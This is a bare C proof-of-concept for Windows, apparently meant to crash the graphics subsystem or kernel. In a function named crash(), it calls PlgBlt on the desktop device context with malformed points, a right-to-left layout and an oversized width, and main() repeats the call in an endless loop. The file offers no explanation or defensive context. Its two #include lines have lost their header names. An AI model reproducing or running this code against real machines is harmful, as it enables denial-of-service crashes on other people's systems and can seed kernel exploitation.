#include #include BYTE buf1[0xB8 * 8 * 4] = { 0 }; void crash() { HBITMAP hbm = CreateBitmap(8, 0xB8, 1, 1, &buf1); HDC hdcA = GetWindowDC(NULL); SetLayout(hdcA, LAYOUT_RTL); POINT p1[3] = { { 0x0, -1 }, { 0x0, 0x0 }, { 0x0, 0x0 } }; PlgBlt(hdcA, p1, hdcA, 0, 0, 0x4000, 1, hbm, 0, 0); } int main(int argc, char *argv[]) { while (TRUE) { crash(); } return 0; }